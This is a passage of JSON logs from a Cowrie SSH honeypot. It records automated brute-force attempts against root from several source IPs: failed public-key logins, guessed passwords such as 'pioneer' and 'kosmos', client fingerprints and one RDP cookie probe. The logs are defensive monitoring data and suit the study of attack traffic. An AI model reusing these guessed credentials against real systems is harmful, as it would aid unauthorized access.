{"eventid":"cowrie.login.failed","username":"root","fingerprint":"33:8b:e5:5f:1b:0c:c9:4a:68:9b:4f:d3:71:b5:64:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyz6MoHTxhKV8AW9PJxIQhZ4HYkFAkfUoMx4Wu0DSKPkG+t6DEGRSFkd40gORZ4BSES8nvcI/eBC52ThT28cjXCD3b7uwnLM724G6W4eAmxB9Djr8RmBEci8xGda/boFwgYQWpGZCROUNwWb3lpyael58wRDma+gMESBq/ICWcTc9I06LCYczAQbFWOLTWR1gAYUGDUdCZqAI2uMuoTRrxAHa2ZPTiCm66WCwTzb13ld3D7XiRW3xaM+4sIghj/tr2YfxjQdVfDR5wgzXphmLoyDjN8rMU3AnJYEtD2bTKXtR5kjCM+K4xTN0lvhycdPSABZDM+3H4Q1ZiRaxgqrmF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:25:19.526359Z","src_ip":"68.235.52.99","session":"b289ea09a312","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ac:9d:41:df:90:57:5f:5b:33:7c:29:dc:6b:0c:df:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpqp/IqJe3tuhM0Bj8hF15AkvknvnlFxjTw4jUlsZ8D6NKYMQnyZ2f2inrNC+vQwKCdHQElDwZK9R/BUOYaETW5ElFBorq5HUseSWCstcBJ5F1udpUEZeB4AfhiUSjRkxRLCnyVj6+aeGhFKmbkAxP1zH+biFbXMCqPlMRoSBMo9EUgY4N9p3JYV9611tdY7olr6TC2dFAL4qdO+0tB9S7VxHFsqDf9rnjABPWxPTAql27M01af6X4wbq1YI1xDm4sZCFuhdI1s6+0Ur7IRhJFvcRqIpN/sIWmMBn3CIWJ2yeM9OjXI91eh+IvzNz2PjCNQMAwNEAQ/RZy7ud+ciU9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ac:9d:41:df:90:57:5f:5b:33:7c:29:dc:6b:0c:df:fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:25:19.557925Z","src_ip":"68.235.52.99","session":"b289ea09a312","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ac:9d:41:df:90:57:5f:5b:33:7c:29:dc:6b:0c:df:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpqp/IqJe3tuhM0Bj8hF15AkvknvnlFxjTw4jUlsZ8D6NKYMQnyZ2f2inrNC+vQwKCdHQElDwZK9R/BUOYaETW5ElFBorq5HUseSWCstcBJ5F1udpUEZeB4AfhiUSjRkxRLCnyVj6+aeGhFKmbkAxP1zH+biFbXMCqPlMRoSBMo9EUgY4N9p3JYV9611tdY7olr6TC2dFAL4qdO+0tB9S7VxHFsqDf9rnjABPWxPTAql27M01af6X4wbq1YI1xDm4sZCFuhdI1s6+0Ur7IRhJFvcRqIpN/sIWmMBn3CIWJ2yeM9OjXI91eh+IvzNz2PjCNQMAwNEAQ/RZy7ud+ciU9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:25:19.561870Z","src_ip":"68.235.52.99","session":"b289ea09a312","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:6b:17:a1:a7:04:f2:77:e4:37:18:78:9e:d7:1e:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD6g1JMKE0wBF1+lRXclg2LydJrbxS6Lzj9cLbPL/Jh+CwdYZRu26Vdnh91/DQAM1/vcqE4755Vw/LHaPZrbSpYCqPQ3Prj+Y9Zi8viShqeg48lu44cxuhqyhrN+S4s5g1GKM6i7k4AmDfuzTlck/1b2QffkCLIFD9HARjSYmMkXKzC3M5GxiPmEs5MSHiTROn0/F833yS+BHXsr0qSuwg3Ie4qwoMVjrg9qFiadYPoLPTKx02euEzAGOG6zHwroKZCzln6d3zUtyo/3EHnLgpQzGYjft6mKHmQRh7ASA/QWKs4BGWF74YNaoPmvxuk1scSkStiWpegym6riU5uRd91","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:6b:17:a1:a7:04:f2:77:e4:37:18:78:9e:d7:1e:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:25:19.592686Z","src_ip":"68.235.52.99","session":"b289ea09a312","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:6b:17:a1:a7:04:f2:77:e4:37:18:78:9e:d7:1e:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD6g1JMKE0wBF1+lRXclg2LydJrbxS6Lzj9cLbPL/Jh+CwdYZRu26Vdnh91/DQAM1/vcqE4755Vw/LHaPZrbSpYCqPQ3Prj+Y9Zi8viShqeg48lu44cxuhqyhrN+S4s5g1GKM6i7k4AmDfuzTlck/1b2QffkCLIFD9HARjSYmMkXKzC3M5GxiPmEs5MSHiTROn0/F833yS+BHXsr0qSuwg3Ie4qwoMVjrg9qFiadYPoLPTKx02euEzAGOG6zHwroKZCzln6d3zUtyo/3EHnLgpQzGYjft6mKHmQRh7ASA/QWKs4BGWF74YNaoPmvxuk1scSkStiWpegym6riU5uRd91","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:25:19.596102Z","src_ip":"68.235.52.99","session":"b289ea09a312","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6e:f0:fe:99:5f:5d:f7:5e:15:fe:4a:cf:2d:d5:a6:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2XhYnHmNPZSBC9lpH5oiBTpHQAmCv6/P6qWC3Hug2up2B4ujGBMCnfmBNHEqI5oyWhmfRQRKzt9oCOJDxPlDqK1Iz+nY2wDVhC5+hS0LIX6Rh7UW+aq/VUcLIEwN5kbYvREFV5V3bq5VS3BvdKd9ZI5GgxmW+xRt5K4ngK51USu4HnVMiEhSp6KcezAlgEif+hiKqOmDE0Eh48/slPApvYlVA09G0PJ1aAwQGk+97nq0kVh6RlsIiGyDu7HjjJCpYM+YRr43HTqyOVXkAhEqhvZcDSBqi+htGhxfQUo2aGsUI2tPQ/+ZYmPREs2pguarVDrdeq5tLLGJifRosnR53Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6e:f0:fe:99:5f:5d:f7:5e:15:fe:4a:cf:2d:d5:a6:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:25:19.627212Z","src_ip":"68.235.52.99","session":"b289ea09a312","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6e:f0:fe:99:5f:5d:f7:5e:15:fe:4a:cf:2d:d5:a6:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2XhYnHmNPZSBC9lpH5oiBTpHQAmCv6/P6qWC3Hug2up2B4ujGBMCnfmBNHEqI5oyWhmfRQRKzt9oCOJDxPlDqK1Iz+nY2wDVhC5+hS0LIX6Rh7UW+aq/VUcLIEwN5kbYvREFV5V3bq5VS3BvdKd9ZI5GgxmW+xRt5K4ngK51USu4HnVMiEhSp6KcezAlgEif+hiKqOmDE0Eh48/slPApvYlVA09G0PJ1aAwQGk+97nq0kVh6RlsIiGyDu7HjjJCpYM+YRr43HTqyOVXkAhEqhvZcDSBqi+htGhxfQUo2aGsUI2tPQ/+ZYmPREs2pguarVDrdeq5tLLGJifRosnR53Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:25:19.631023Z","src_ip":"68.235.52.99","session":"b289ea09a312","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3e:fd:37:a2:bd:41:e1:5a:fa:b3:77:2b:87:66:35:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC25PskaqQHQYeyEySYKmiaMf3YovI9mcUq45lVj6sGLIBuFAsoUZwrt5xO7ceWgt9ADj+k9tiQVPZLouPDcIvMQnQzR5x1Pcr2e11fwUEbF4/DogHI2V/Fz3LNv8WkRajh5hUSDLDSqB4Vz7hpV5Cg+q9SzGUUXiPcZj7QCW3BqV5nW4ISRRZcfZvPyQE1HtB3ohYIR1QnX2Z+IRrT8lHrWJ1f6b7Zex+0TnNi++ynKt+OmOceVjDbGOiFSl1BNQoX72zXJga5ww3K7hPcs90qp+5OqaOUJH0L+Rv+GrwUurdsIzqUTESehuER49fGfVXyB5Z2ve1hED37urUBhsqp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3e:fd:37:a2:bd:41:e1:5a:fa:b3:77:2b:87:66:35:91","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:25:19.664239Z","src_ip":"68.235.52.99","session":"b289ea09a312","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3e:fd:37:a2:bd:41:e1:5a:fa:b3:77:2b:87:66:35:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC25PskaqQHQYeyEySYKmiaMf3YovI9mcUq45lVj6sGLIBuFAsoUZwrt5xO7ceWgt9ADj+k9tiQVPZLouPDcIvMQnQzR5x1Pcr2e11fwUEbF4/DogHI2V/Fz3LNv8WkRajh5hUSDLDSqB4Vz7hpV5Cg+q9SzGUUXiPcZj7QCW3BqV5nW4ISRRZcfZvPyQE1HtB3ohYIR1QnX2Z+IRrT8lHrWJ1f6b7Zex+0TnNi++ynKt+OmOceVjDbGOiFSl1BNQoX72zXJga5ww3K7hPcs90qp+5OqaOUJH0L+Rv+GrwUurdsIzqUTESehuER49fGfVXyB5Z2ve1hED37urUBhsqp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:25:19.668193Z","src_ip":"68.235.52.99","session":"b289ea09a312","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:25:19.700040Z","src_ip":"68.235.52.99","session":"b289ea09a312","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":47968,"dst_ip":"10.17.0.5","dst_port":22,"session":"5182181a700d","protocol":"ssh","message":"New connection: 103.27.238.120:47968 (10.17.0.5:22) [session: 5182181a700d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:25:24.261804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:25:24.267267Z","src_ip":"103.27.238.120","session":"5182181a700d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:25:24.515534Z","src_ip":"103.27.238.120","session":"5182181a700d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pioneer","message":"login attempt [root/pioneer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:25:25.260128Z","src_ip":"103.27.238.120","session":"5182181a700d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:25:26.511665Z","src_ip":"103.27.238.120","session":"5182181a700d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":45882,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ecdef6d0c89","protocol":"ssh","message":"New connection: 103.77.242.62:45882 (10.17.0.5:22) [session: 1ecdef6d0c89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:26:28.654170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:26:28.659545Z","src_ip":"103.77.242.62","session":"1ecdef6d0c89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:26:28.898824Z","src_ip":"103.77.242.62","session":"1ecdef6d0c89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yfcntyf","message":"login attempt [root/yfcntyf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:26:29.616120Z","src_ip":"103.77.242.62","session":"1ecdef6d0c89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:26:30.860938Z","src_ip":"103.77.242.62","session":"1ecdef6d0c89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":38186,"dst_ip":"159.203.135.109","dst_port":22,"session":"05e5adcb20fb","protocol":"ssh","message":"New connection: 103.153.68.219:38186 (159.203.135.109:22) [session: 05e5adcb20fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:26:35.576279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:26:35.580771Z","src_ip":"103.153.68.219","session":"05e5adcb20fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:26:35.830285Z","src_ip":"103.153.68.219","session":"05e5adcb20fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10203040","message":"login attempt [root/10203040] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:26:36.579502Z","src_ip":"103.153.68.219","session":"05e5adcb20fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:26:37.831902Z","src_ip":"103.153.68.219","session":"05e5adcb20fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":42286,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3115e13ea0f","protocol":"ssh","message":"New connection: 77.94.47.83:42286 (10.17.0.5:22) [session: e3115e13ea0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:26:44.765523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:26:44.770890Z","src_ip":"77.94.47.83","session":"e3115e13ea0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:26:44.890545Z","src_ip":"77.94.47.83","session":"e3115e13ea0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kosmos","message":"login attempt [root/kosmos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:26:45.248103Z","src_ip":"77.94.47.83","session":"e3115e13ea0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:26:46.369937Z","src_ip":"77.94.47.83","session":"e3115e13ea0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":65289,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcdc8eda8ea6","protocol":"ssh","message":"New connection: 167.172.81.52:65289 (10.17.0.5:22) [session: dcdc8eda8ea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:27:06.273249Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:27:06.278596Z","src_ip":"167.172.81.52","session":"dcdc8eda8ea6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:27:06.283087Z","src_ip":"167.172.81.52","session":"dcdc8eda8ea6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":42036,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9cf11abbeca","protocol":"ssh","message":"New connection: 103.122.221.179:42036 (159.203.135.109:22) [session: d9cf11abbeca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:27:12.184083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:27:12.189379Z","src_ip":"103.122.221.179","session":"d9cf11abbeca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:27:12.443592Z","src_ip":"103.122.221.179","session":"d9cf11abbeca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"liliya","message":"login attempt [root/liliya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:27:13.205616Z","src_ip":"103.122.221.179","session":"d9cf11abbeca","protocol":"ssh"}
